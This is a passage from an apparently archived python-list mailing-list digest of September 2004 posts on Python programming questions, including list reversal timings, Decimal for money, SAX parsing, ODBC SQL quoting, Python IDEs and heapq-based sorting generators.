message > > > in this scenario the hassle of running > > Apache+Zope/Webware is just not worth it. > > For what it's worth, there is a built-in server for Webware as well: I've tried it too. It's heavier and less responsive than CherryPy's one (at least in my machine, which is memory-and-GHz-impaired), and less convenient. CherryPy is automatic in this regard. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From xslom03 at vse.cz Sat Sep 25 16:23:35 2004 From: xslom03 at vse.cz (Martin Slouf) Date: Sat, 25 Sep 2004 22:23:35 +0200 Subject: Access to MS SQL from Linux? In-Reply-To: <redirect-14028450@vse.cz> References: <redirect-14028450@vse.cz> Message-ID: <20040925202335.GA3994@barbucha.martin.net> for a simple access you may try jython and java driver. it worked fine for me, though it was a bit slow. installation is trivial of course. just download the jar from M$. m. On Thu, Sep 23, 2004 at 10:10:01AM +0200, Joe Wong wrote: > Hi, > > Is there any Python library for accessing MS SQL server from a Linux machine? Either open source or commerical one will do for me. > > Regards, > > - Joe > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 From aleaxit at yahoo.com Mon Sep 20 10:52:14 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 16:52:14 +0200 Subject: Using isA and getA in a python way References: <cimijh$p7l$1@ucsnew1.ncl.ac.uk> <mailman.3559.1095684697.5135.python-list@python.org> Message-ID: <1gkf7jh.175e33cvnpdt1N%aleaxit@yahoo.com> Fredrik Lundh <fredrik at pythonware.com> wrote: > "C Gillespie" wrote: > > > I have long list of if statements in the form of: > > > > if obj.isA(): return obj.getA() > > if obj.isB(): return obj.getB() > > if obj.isC(): return obj.getC() > > if obj.isD(): return obj.getD() > > <snip> > > > > Is there a nicer way of doing this, perhap going through the list > > ['A','B','C',.. > > well, the python way is to do: > > return obj.get() Wonderful (as all all of the other suggestions), _if_ being an A, a B, etc, are mutually exclusive conditions. However, they might not be -- the OP didn't really explain his use case. It may be that obj has the potential to display zero or more of these characteristics at any time, and different calling sites have different orders of priority as to which condition they want to test first. For example, a bar in Italy is allowed to be a milkbar (selling fresh milk), a coffeebar (selling espresso) AND a liquorbar (selling spirits) at the same time, but not all bars are all of these kinds. So, I can see myself coding, in one spot, if bar.isMilkBar(): return bar.getMilk() if bar.isCoffeeBar(): return bar.getCoffee('black') but reversing these checks in other calling sites (here I've also hinted at the possibility that the different getX methods may admit of different signatures, which of course is a different issue). These naming conventions aren't the exact ones the OP specified, so let's assume he wants to call 'isMilk' rather than 'isMilkBar' &c (weird naming, admittedly...:-). For this purpose, it IS indeed possible to code up 'a nicer way to do it' as the OP asks -- either as a method of the object (possibly in a mixin class), or as an auxiliary function, it doesn't matter all that much in a practical sense. /F of course knows that, but, for the OP benefit, it could go something like...: def preferences(obj, pref_sequence, **args_by_pref): for pref in pref_sequence: is_meth = getattr(obj, 'is'+pref, None) if is_meth is None: continue get_meth = getattr(obj, 'get'+pref, None) if get_meth is None: continue if is_meth(): return get_meth(*args_by_pref.get(pref,())) raise ValueError, "%r isn't any of %r" % (obj, pref_sequence) The args_by_pref tweak is totally optional, of course, it's just what I'd use to be able to code something like: return preferences(bar, ('Milk', 'Coffee'), Coffee=('black',)) Also, the details of error checking &c will have to be tweaked to the OP's content (not having the appropriate is or get method might be considered an error, for example -- only the OP knows!). Alex From aleaxit at yahoo.com Mon Sep 27 17:02:55 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 23:02:55 +0200 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> <cj9up4$g88$0$216.39.172.122@theriver.com> Message-ID: <1gksnru.19db21t1iappzfN%aleaxit@yahoo.com> Bengt Richter <bokr at oz.net> wrote: ... > If there were a way to make a local bare name access work like a property > or other descriptor, by designating such names suitably, then def f... > could trigger the setter of an f property and that could do whatever. > > It might be interesting for a function closure variables also, but here > we are talking about class bodies. Here is a straw man: In the current implementation, class bodies are made into functions and run once. If you could use anything but a plain dict as the f_locals of the frame, you could implement your proposed syntax and anything else you could dream of. But look at ceval.c and tell me how you'd tell the functions therein to use a certain special factory for a frame's f_locals without rewriting hundreds of lines of pretty complicated code. If the implementation is hard to explain, it's a bad idea. So let's find a simple-to-explain implementation; if we can't, it's a bad idea. > Optimization is for later ;-) So is syntax. Let's focus first on how to implement 'smart frames' that can either use dict (and be fast) or a generic mapping-factory depending e.g. on a bit in the per-thread state -- for now we can set that bit with some sys.whatever call, who cares, once the implementation is good then we can start to wrestle about syntax-sugar issues for it... Alex From aleaxit at yahoo.com Mon Sep 6 04:15:26 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 10:15:26 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <mailman.2905.1094405220.5135.python-list@python.org> <chh38l$4eq$06$1@news.t-online.com> Message-ID: <1gjosf3.197sp3q1798zhhN%aleaxit@yahoo.com> Peter Otten <__peter__ at web.de> wrote: > Alex Martelli wrote: > > > $ python ~/cb/timeit.py -s'r=range(1000)' 'list(reversed(r))' > > 10000 loops, best of 3: 99 usec per loop > > > > $ python ~/cb/timeit.py -s'r=range(1000)' '[x for x in reversed(r)]' > > 1000 loops, best of 3: 706 usec per loop > > > > Dunno 'bout you guys, but I can't really afford to throw away a factor > > of SEVEN in a perfectly ordinary task in such a fashion... > > For the sake of completeness, bypassing reversed() gains you another factor > of two and might be worthwile, too, if you need the resulting list. Very good point! > > $ python2.4 timeit.py -s"r = range(1000)" "[i for i in reversed(r)]" > 10000 loops, best of 3: 148 usec per loop > $ python2.4 timeit.py -s"r = range(1000)" "list(reversed(r))" > 100000 loops, best of 3: 19.5 usec per loop > $ python2.4 timeit.py -s"r = range(1000)" "r[::-1]" > 100000 loops, best of 3: 9.17 usec per loop I didn't expect that big a gain for [::-1] but that just goes to show: expectations ARE tricky when performance is concerned, measurements are a good idea. > > For loops reversed() remains the solution of choice, even if memory > consumption is not a problem: > > $ python2.4 timeit.py "r=range(1000)" "for i in reversed(r): pass" > 10000 loops, best of 3: 87.2 usec per loop > $ python2.4 timeit.py "r=range(1000)" "for i in r[::-1]: pass" > 10000 loops, best of 3: 99.7 usec per loop An important distinction indeed. Thanks! Alex From fumanchu at amor.org Fri Sep 24 21:52:38 2004 From: fumanchu at amor.org (Robert Brewer) Date: Fri, 24 Sep 2004 18:52:38 -0700 Subject: Why not FP for Money? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> Jeff Shannon wrote: > Carlos Ribeiro wrote: > > >A last note: unless dictated by context otherwise, I think > that adding > >two fixed point numbers should round/truncate to the smallest number > >of decimal places, as in: > > > >12.34d + 10.001d --> 32.34 > > > > > > Personally, I think that it makes the most sense (i.e., will > result in > the fewest surprises) if the greatest possible number of places is > preserved. If you truncate decimal places, then you might get this: > > x = 1.1d > for _ in range(5): > x += 0.02d > print x ----> 1.1d > > Each addition of 0.02 to 1.1 yields 1.12, which is truncated back to > 1.1, which leaves us in the same place that integer division did. I > think it's pretty clear that this *should* produce 1.2. In > order to do > that, you need to preserve the largest number of decimal places. That would certainly keep Decimal objects from becoming the default number type in Python 3.0. But if a suffixed "d" is retained, it becomes Yet Another Thing To Learn, not unlike the current surprises with floating-point. The "end-user" would have to be more explicit in order to achieve the desired behavior: x = 1.10d # Notice the trailing 0 for _ in range(5): x += 0.02d print x ----> 1.20d In the case of using Decimals as a Money type, this wouldn't be much of a burden on any society with a decimalized currency (IMO); it's standard practice to write the trailing zero. Robert Brewer MIS Amor Ministries fumanchu at amor.org From rkern at ucsd.edu Wed Sep 1 01:20:58 2004 From: rkern at ucsd.edu (Robert Kern) Date: Tue, 31 Aug 2004 22:20:58 -0700 Subject: XML documentation stinks - help? In-Reply-To: <ch3jgu$bgj@odbk17.prod.google.com> References: <ch3jgu$bgj@odbk17.prod.google.com> Message-ID: <ch3m8f$nuh$1@news1.ucsd.edu> Simon John wrote: > No, that's the docs I'm talking about, it's awful IMO. [Referring to the Python/XML HOWTO] Okay, tell us specifically how to make it better. What information do you think it ought to contain? > So far I've found a little bit of info on the xml.parsers.expat module, > and got the following working the way Perl does, but it seems to create > blank elements due to whitespace! > > And it seems the expat module has been deprecated in favour of SAX? To my knowledge, the recommended way to do this kind of processing is to use SAX in an object-oriented fashion. If you were looking for an example in this style, you probably won't find one because it's not recommended. In my opinion, it's pretty clear that classes (as used in SAX) make this kind of parsing task much more manageable. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From eribla at bellsouth.net Mon Sep 20 05:44:11 2004 From: eribla at bellsouth.net (Erik Blas) Date: 20 Sep 2004 02:44:11 -0700 Subject: trying to right a dps parser Message-ID: <fbc6a754.0409200144.314a4bec@posting.google.com> Hello everyone, Basically what I'm trying to do is write an app that will read the lines from a text file, parse through each lean with a regex (if there is a better way please point me) for a time stamp/the words YOU|YOUR/ the words hit|hits/ the words miss|misses and finally an integer value of varied character length, then do a calculation for dps (damage per second: damage / seconds). I guess the best way to explain would be to show you an example: 01:32:54 ] You start fighting. 01:32:54 ] Your target is too far! Move closer! 01:32:55 ] Bob hits a thingy for 6 points of crushing damage. 01:32:55 ] YOU hit a thingy for 8 points of slashing damage. 01:32:56 ] a thingy tries to crush Elipha, but misses. 01:32:57 ] Bob hits a thingy for 9 points of crushing damage. 01:32:57 ] YOUR Kick hits a thingy for 12 points of crushing damage. 01:32:57 ] YOU hit a thingy for 8 points of slashing damage. 01:32:58 ] You stop fighting. I'd like for the app to start calculating from the point it sees the string "You start fighing." and stop when it sees "You stop fighting." . The big things I need help with are: 1. the best way to get the time stamps so that the seconds could be totaled (the time stamps come off the system so they won't start at *:*:00 unless one is lucky when they start fighting :) ). 2. the best way to get the start and end strings like I stated above. 3. to keep it simple for now, just getting damage numbers from times that YOU or YOUR strings show you've landed an attack. getting misses is important to to show to keep the clock running i think to get an accurate dps number. That's all I can think of right now...my head is fried from trying to come up with alot of this on my own. So far I've managed to get a nice working regex to pull the time stamps: (\d{2}):(\d{2}):(\d{2}) # let me know about this if there would be a better way for what i want please :) I'm still in the process of learning python and loving every minute of it. Big thanks to the author of Dive into Python, I love that book! I figured a project like this would be a good way to learn with its complexity not being way to much. I also plan to extend this app later with a gui using wxpython aswell as have it print dps numbers real time during game play, but for now it's enough to get it to open the log file/compute the dps/and print it to the screan. The game that will be providing the log files is a windows game only atm though :/ . Thank you in advanced for any help and advice you can provide. - Erik From csgcsg39 at hotmail.com Thu Sep 9 05:10:32 2004 From: csgcsg39 at hotmail.com (C Gillespie) Date: Thu, 9 Sep 2004 10:10:32 +0100 Subject: xpath and python Message-ID: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk> Dear All, Does anyone know if there is a python library that accepts xpath constructs? Thanks for any help Colin From benn at cenix-bioscience.com Wed Sep 15 04:04:29 2004 From: benn at cenix-bioscience.com (Neil Benn) Date: Wed, 15 Sep 2004 10:04:29 +0200 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <7LudnZweyKXOoNrcRVn-sw@adelphia.com> References: <mailman.3261.1095106220.5135.python-list@python.org> <656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com> Message-ID: <4147F78D.3030609@cenix-bioscience.com> Rob McCrea wrote: > Thomas Heller wrote: > >> Carlos Ribeiro <carribeiro at gmail.com> writes: >> >>> I'm frustrated. My search for a good IDE to support my activities -- >> >> <snip> Hello, This is just a small suggestion but one tool that you could look at is jedit (http://www.jedit.org) - it often gets overlooked because as it's written in java python people sometimes think it for Jython only - not true my erstwhile friends! It has a python plug-in and can do highlighting, project management, feed the dog and more. It doesn't have a GUI designer but I understand you don't need that? Another IDE I use is Eclipse, I only use this for Java editing but I heard somewhere that it has a Python plugin - eclipse is way more complicated than jedit but if you learn how to use it there are significant productivity gains (at least with Java!). Cheers, Neil -- Neil Benn Senior Automation Engineer Cenix BioScience BioInnovations Zentrum Tatzberg 47 D-01307 Dresden Germany Tel : +49 (0)351 4173 154 e-mail : benn at cenix-bioscience.com Cenix Website : http://www.cenix-bioscience.com From missive at frontiernet.net Sat Sep 4 08:36:01 2004 From: missive at frontiernet.net (Lee Harr) Date: Sat, 04 Sep 2004 12:36:01 GMT Subject: POST with basic auth and cookie from python? References: <pan.2004.09.03.20.30.52.790127@dcs.nac.uci.edu> <6f402501.0409040212.4da65570@posting.google.com> Message-ID: <slrncjjdlh.f6.missive@homer.localdomain> On 2004-09-04, Michael Foord <fuzzyman at gmail.com> wrote: > Dan Stromberg <strombrg at dcs.nac.uci.edu> wrote in message news:<pan.2004.09.03.20.30.52.790127 at dcs.nac.uci.edu>... >> If I wanted to write a python script that performs basic auth, gets a >> cookie, and then does an http POST using the cookie for authentication, >> what would be the best python API to write to? >> >> Does someone already have example code that does something like this? >> > Oh - if anyone can help on this it would be great !! What the heck is > a realm and how do they work !! > > Not sure if this helps ... http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 From aleaxit at yahoo.com Mon Sep 13 05:09:08 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 11:09:08 +0200 Subject: read all available pages on a Website References: <ci2qnl$2jq$1@solaris.cc.vt.edu> <pheak01mo1ti6usa1sl2a4g801bik9o5h8@4ax.com> <2ql2m9F10da10U1@uni-berlin.de> Message-ID: <1gk1tjf.17snajnnn5g3aN%aleaxit@yahoo.com> Leif K-Brooks <eurleif at ecritters.biz> wrote: > Tim Roberts wrote: > > Brad Tilley <bradtilley at usa.net> wrote: > > > >>Is there a way to make urllib or urllib2 read all of the pages on a Web > >>site? > > By the way, there are many web sites for which this sort of behavior is not > > welcome. > > Any site that didn't want to be crawled would most likely use a > robots.txt file, so you could check that before doing the crawl. Python's Tools/webchecker/ directory has just the code you need for all of this. The directory is part of the Python source distribution, but it's all pure Python code, so, if your distribution is binary and omits that directory, just download the Python source distribution, unpack it, and there you are. Alex From firstname at lastname.pr1v.n0 Mon Sep 6 03:28:06 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Mon, 6 Sep 2004 09:28:06 +0200 Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <41376B82.C6A202FC@yahoo.com> <kg08hc.bgc1.ln@via.reistad.priv.no> <41386155$0$19713$61fed72c@news.rcn.com> Message-ID: <6i3hhc.mtv2.ln@via.reistad.priv.no> In article <41386155$0$19713$61fed72c at news.rcn.com>, <jmfbahciv at aol.com> wrote: >In article <kg08hc.bgc1.ln at via.reistad.priv.no>, > Morten Reistad <firstname at lastname.pr1v.n0> wrote: >>In article <41376B82.C6A202FC at yahoo.com>, >>CBFalconer <cbfalconer at worldnet.att.net> wrote: >>>Peter Hansen wrote: >>>> Brian {Hamilton Kelly} wrote: >>>>> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: >>ISTR there was some tunnel NASA had to relate to if they wanted >>to move the goods from production to launch. But that may have been >>earlier products. >> >>But rail tunnels are also descended from the same asses, so to speak. > >There was a city getting restored in Turkey that JMF and I visited; >I cannot remember its name other than it's in the New Testament >written by Paul. It was one of most fascinating places I'd ever >been other than aquariums and zoos. There are ruts in the >stone-block pavements caused by running carts to/from harbor/city. >We were told that these ruts were worn down by usage. I always >wanted to get a big stone and spend 5 min/day rubbing it to see >if the claim was true. Just visit my old gymnasium (aka "High School", but that loses part of the concept). 320 pupils entering and leaving 14-18 times a day wears down asphalt in 2 years, sandstone in 10 and granite in 100. -- mrr From roy at panix.com Sat Sep 11 12:06:03 2004 From: roy at panix.com (Roy Smith) Date: Sat, 11 Sep 2004 12:06:03 -0400 Subject: little problem with list.reverse() function References: <LRE0d.236333$OR2.10714605@news3.tin.it> Message-ID: <roy-0CF1CD.12060311092004@reader1.panix.com> In article <LRE0d.236333$OR2.10714605 at news3.tin.it>, manuel <manuelbastioniNOSPAM at tin.it> wrote: > >>> a = [[1,2],[2,3],[4,5]] > >>> print a > [[1, 2], [2, 3], [4, 5]] > >>> print a.reverse() > None > >>> > > > > ??? > Thanks... The reverse() method of lists reverses the list in-place, and returns None on purpose. Almost everybody finds this surprising when they discover it for the first time. Many people (myself included) consider it a design flaw. But, it is an intentional design decision, not a bug. From aleaxit at yahoo.com Thu Sep 9 06:48:54 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 12:48:54 +0200 Subject: FW: Set and {} comparison confusion References: <mailman.3082.1094720703.5135.python-list@python.org> Message-ID: <1gjuj6f.1940ps0iimqq9N%aleaxit@yahoo.com> Roman Yakovenko <roman.yakovenko at actimize.com> wrote: ... > classes have __eq__, __ne__. Classes are mutable - I can't define > __hash__ function. __lt__ - I can implement but it will be meaningless. As long as it respects the fundamental semantics constraints such as: a < b and b < c imply a < c a < b implies not (a == b) a < b implies (a != b) not (a < a) for any a and so on, your __lt__will not be 'meaningless' but very useful. Basically, __lt__ is meaningful if it's transitive, non-reflective, and compatible with your == and != (which I assume are compatible with each other); a transitive non-reflective < defines implicitly an equivalence relation, a eqv b <--> not (a < b or b < a), and you need your == to express exactly that equivalence relation... so if your == is meaningful, your < can't really be 'meaningless'!-) > Thank you for help. I think I have a dicision: > 1. I will implement meaningless __lt__ > 2. I will sort ( I don't have duplicated items ) every time I need to compare > 2.1 Because sort is happen in place next time it will take less time to sort. Yes, that does seem to make sense to me. Once two lists without duplicates are sorted, they're equal as sets iff they're == as lists; and yes, maintaining sorted order is typically quite cheap in Python due to Tim Peters' powerful natural mergesort algorithm as implemented inside list.sort (though it might be worth having a look at the bisect module, it's likely going to be faster to just sort the lists each time). > Again - Thanks for help. It was very usefull. It seems that I had wrong expectation > from set - " unordered set collection based only on comparison operators". > My mistake. Ah, isn't set documented to need hashable elements? It should be. Of course, _why_ your class appears to be hashable when it defines __eq__ and not __hash__ I dunno -- Python should diagnose that, but it does't appear to... Alex From python at rcn.com Thu Sep 9 11:44:44 2004 From: python at rcn.com (Raymond Hettinger) Date: 9 Sep 2004 08:44:44 -0700 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <5d83790c.0409081810.613e44af@posting.google.com> <1gjuaww.xljr4bbmtlk9N%aleaxit@yahoo.com> Message-ID: <5d83790c.0409090744.66eb2fa0@posting.google.com> > def isorted(seq): > a = list(seq) > heapify(a) > while a: yield heappop(a) Very nice. I had actually meant to use a "while 1" in which case the try/except makes more sense. Going one step further and localizing the heappop() call, you get: def isorted(seq): a = list(seq) heapify(a) pop = heappop try: while 1: yield pop(a) except IndexError: pass For clarity and conciseness, Alex's version wins easily. For running speed, dis.dis() shows how the second has a simpler, more efficient inner loop: [Alex's compact version] >> 25 LOAD_FAST 1 (a) 28 JUMP_IF_FALSE 14 (to 45) 31 POP_TOP 32 LOAD_GLOBAL 4 (heappop) 35 LOAD_FAST 1 (a) 38 CALL_FUNCTION 1 41 YIELD_VALUE 42 JUMP_ABSOLUTE 25 [try/except version with localized call] 7 >> 34 LOAD_FAST 2 (pop) 37 LOAD_FAST 1 (a) 40 CALL_FUNCTION 1 43 YIELD_VALUE 44 JUMP_ABSOLUTE 34 Raymond Hettinger From michele.petrazzo at TOGLIunipex.it Thu Sep 30 03:00:13 2004 From: michele.petrazzo at TOGLIunipex.it (Michele Petrazzo) Date: Thu, 30 Sep 2004 09:00:13 +0200 Subject: odbc error In-Reply-To: <wVx6d.255765$4o.114520@fed1read01> References: <cje8bg$t9m$1@lacerta.tiscalinet.it> <wVx6d.255765$4o.114520@fed1read01> Message-ID: <cjgav7$97i$1@lacerta.tiscalinet.it> Steve Holden wrote: > Michele Petrazzo wrote: > >> I'm using odbc on win95 and I have an incomprehensible error after a >> query: >> >> INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "") >> >> table test and fields f1,f2,f3 exists :) and I can write to this table. >> >> The error is : >> [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2. >> >> What can I do? >> > The easiest thing to do is use correct syntax, which should put single > quotes around string literals. The ODBC drivers tend to use standard SQL > syntax even when the underlying database is a bit more liberal. Try > > INSERT INTO test VALUES (f1,f2,f3) VALUES ('t1', 't2', '') > > and see if that works. > > regards > Steve It work !!!! Thanks very much. Michele Petrazzo From jeff at ccvcorp.com Wed Sep 29 14:07:39 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 Sep 2004 11:07:39 -0700 Subject: repeat something in a thread, but stop when the program stops In-Reply-To: <Xns95736CE982AEFcpl19ghumspamgourmet@195.20.224.116> References: <5db4fffa.0409270551.57a96cda@posting.google.com> <mailman.3969.1096301203.5135.python-list@python.org> <Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116> <mailman.4020.1096389667.5135.python-list@python.org> <Xns95736CE982AEFcpl19ghumspamgourmet@195.20.224.116> Message-ID: <10llubobcoij397@corp.supernews.com> Harald Massa wrote: >My impression from reading dispatcher-code was more in the area of: > >a=get_message_from_windows() > >if a==waaaah_they_clicked_on_me: > give_it_to_them_REAL_hard() >elif a==they_hover_over_me: > do_some_hover_action() > >with "get_message_from_windows()" silently and cycle-free blocking until >windows decides to distribute a message. Something like a blocking >socket, which makes a program wait. > > Essentially true, but Windows sends a lot more messages than most people realize, even to "dormant" apps sitting in the system tray. Even if you code your own windowproc and handle a bunch of messages yourself, the vast majority of Windows messages get passed on to DefWindowProc() (provided by Windows). Of course, the point is that in practice, it hardly matters. On any reasonably recent PC, handling a few hundred messages every second is trivial. (As long as the message handlers don't access "slow" resources, at least...) Jeff Shannon Technician/Programmer Credit International From tzot at sil-tec.gr Wed Sep 22 10:51:30 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 22 Sep 2004 17:51:30 +0300 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> <10l0lpt9n0n5k9c@news.supernews.com> <ad052e5c.0409211611.7e4411e@posting.google.com> Message-ID: <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> On 21 Sep 2004 17:11:22 -0700, rumours say that danb_83 at yahoo.com (Dan Bishop) might have written: >But what about countries like Japan and (even more so) Turkey where >the currency units are so small that you never use fractions of them? >Do programmers there talk less about floating-point error? This used to be the case in Greece too; however, there was and still is VAT (amount * 0.08 or 0.18), discounts, distribution of a "gross"[1] discount ("your invoice is over 200000 drachmae, so I'll give you a 20000 drs discount") over the items of an invoice (and the "gross" discount should equal the sum of qty*discount_per_item) etc. So you still have floating point errors... [1] don't know the english term, could be 'monetary discount', not a percentage -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From gerrit.muller at embeddedsystems.nl Fri Sep 17 02:15:10 2004 From: gerrit.muller at embeddedsystems.nl (Gerrit Muller) Date: Fri, 17 Sep 2004 08:15:10 +0200 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <mailman.3417.1095373610.5135.python-list@python.org> References: <dcf37d82.0409160827.1de98db9@posting.google.com> <mailman.3417.1095373610.5135.python-list@python.org> Message-ID: <cidvde$jr9$1@news.tue.nl> Carlos Ribeiro wrote: <...snip...> > possibly a long way ahead until some standard finally materializes. > -- > [1] What did I mean with "a different approach"? non-standart > interfaces, lack of naming conventions, different ways to bind to or > handle external events, etc.The integration depends on more factors > than the basic class hierarchy -- the actual usage of the classes (how > they are instantiated, bound together, etc.) must be similar enough to > make integration possible. As it is now, it'is possible to have two > wxPython apps programmed in such a way that integration between them > difficult or even impossible, due to this factor. > Actually you mean expensive in terms of effort. The mismatch between the architectures of both applications causes a lot of adaptations and integration effort. See: "From Legacy to State-of-the-art; Architectural Refactoring." (especially page 7) <http://www.extra.research.philips.com/natlab/sysarch/ArchitecturalRefactoringPaper.pdf> If you want to build bigger systems with cooperating applications then you will have to work also on the architecture of the total system: a minimal set of rules and conventions to enable this integration. I do fully agree that most designers underestimate the costs of integration. Often the class hierarchy or similar "structure" rules are seen as the architecture. However you need a set of other views to enable this integration, among them the choice of integrating concepts, see page 10 of "Light Weight Architectures; The way of the future?" <http://www.extra.research.philips.com/natlab/sysarch/LightWeightArchitectingPaper.pdf> kind regards, Gerrit -- Gaudi systems architecting: <http://www.extra.research.philips.com/natlab/sysarch/> From bugbee at seanet.com Fri Sep 10 05:07:59 2004 From: bugbee at seanet.com (Larry Bugbee) Date: Fri, 10 Sep 2004 02:07:59 -0700 Subject: Question: tools for business apps development In-Reply-To: <2qb2tmFt7dgdU2@uni-berlin.de> References: <mailman.2847.1094238878.5135.python-list@python.org> <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <mailman.2980.1094568177.5135.python-list@python.org> <Xns955F1AEE4BA29JanC@213.118.38.197> <yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca> <mailman.3067.1094698639.5135.python-list@python.org> <2qavr3Ft7dgdU1@uni-berlin.de> <mailman.3092.1094733220.5135.python-list@python.org> <2qb2tmFt7dgdU2@uni-berlin.de> Message-ID: <10k2rng56uh2f64@corp.supernews.com> >> -- It's too glitzy :-) Yes, it may be a problem for people used to >> design apps the old way. It's funny to note that Windows apps are not >> much different from old text apps, as far as the structure of the >> dialogs and windows is concerned. Everything is a rectangle. Flash >> frees you of this kind of limitation. This kind of freedom can be >> frightening for old timers (such as me). > > > :) By any measure, I'm an old-timer as well. FWIW, I have removed Flash as have some other folks I know. The reason is because we do not multi-task and cannot read the page with all the flashing and movement. ...removed because there is no option to disable (yes, there are now a couple of Firefox extensions). Just because there may be a large percentage of browsers with Flash, there is still a large number (raw count) that don't and won't. If a rich client is what you are after, consider XUL in conjunction with css, javascript and your favorite language. A web site can serve XUL, the XUL can be distributed as a browser extension, or the XUL can be packaged as a double clickable app. It is a whole heck richer than HTML without the unintended side-effect annoyances caused by Flash. http://xulplanet.com/tutorials/whyxul.html http://www.mozilla.org/projects/xul/ Oh, I too have silver hair. :-) Larry From steven.bethard at gmail.com Wed Sep 29 14:32:56 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 29 Sep 2004 18:32:56 +0000 (UTC) Subject: interactive help on string functions - howto References: <415aede9$0$24598$ba620e4c@news.skynet.be> <415AF37B.9080101@bellsouth.net> Message-ID: <loom.20040929T203034-466@post.gmane.org> Jeremy Jones <zanesdad <at> bellsouth.net> writes: > Make sure you've imported string. No need to import string, you can use the builtin str: >>> help(str.rstrip) Help on method_descriptor: rstrip(...) S.rstrip([chars]) -> string or unicode Return a copy of the string S with trailing whitespace removed. If chars is given and not None, remove characters in chars instead. If chars is unicode, S will be converted to unicode before stripping >>> help(str.ljust) Help on method_descriptor: ljust(...) S.ljust(width[, fillchar]) -> string Return S left justified in a string of length width. Padding is done using the specified fill character (default is a space). Steve From srumbalski at copper.net Mon Sep 27 22:08:56 2004 From: srumbalski at copper.net (Steven Rumbalski) Date: Mon, 27 Sep 2004 22:08:56 -0400 Subject: New to Python References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> Message-ID: <4158c606_4@newsfeed.slurp.net> Erik Heneryd wrote: > Delaney, Timothy C (Timothy) wrote: >> >> http://www.catb.org/~esr/faqs/smart-questions.html >> >> As far as anyone could see, you didn't do even the most basic debugging. >> >> Tim Delaney > > Haven't followed the thread, but... > > I can't help to crack a smile every time I see that URL. I doubt it > ever helped anyone, still it comes up now and then, typically when > people get tired of answering stupid questions from lazy newbies. > > So, how likely is it that people too lazy to RTFM/STFW will even > consider some 10 000 word article (on *asking questions*, not whatever > their problem might be)? Not very, I say. Most will probably not even > get past the *table of contents*. Funny thing is that people don't seem > to realize this - that's it's just another way to say "STFU and RTFM, > newbie". I for one will say that ESR's article helped me about 5 or 6 years ago when I was just getting involved in newsgroups. I internalized much of his advice and have therefore actually rarely posted questions. --Steven Rumbalski From anders.eriksson at morateknikutveckling.se Thu Sep 23 02:42:08 2004 From: anders.eriksson at morateknikutveckling.se (Anders Eriksson) Date: Thu, 23 Sep 2004 08:42:08 +0200 Subject: Parsing HTML Message-ID: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se> Hello! I want to extract some info from a some specific HTML pages, Microsofts International Word list (e.g. http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I want to take all the words, both English and the other language and create a dictionary. so that I can look up About and get Om as the answer. How is the best way to do this? Please help! // Anders From thorsten at thorstenkampe.de Wed Sep 15 10:27:24 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Wed, 15 Sep 2004 16:27:24 +0200 Subject: Slow loading of large in-memory tables References: <mailman.2952.1094534093.5135.python-list@python.org> Message-ID: <87efiy28n8yc$.dlg@thorstenkampe.de> * Philipp K. Janert, Ph.D. (2004-09-07 07:14 +0200) > I am trying to load a relatively large table (about 1 Million > rows) into an sqlite table, which is kept in memory. The > load process is very slow - on the order of 15 minutes or > so. > > I am accessing sqlite from Python, using the pysqlite driver. > I am loading all records first using cx.execute( "insert ..." ). > Only once I 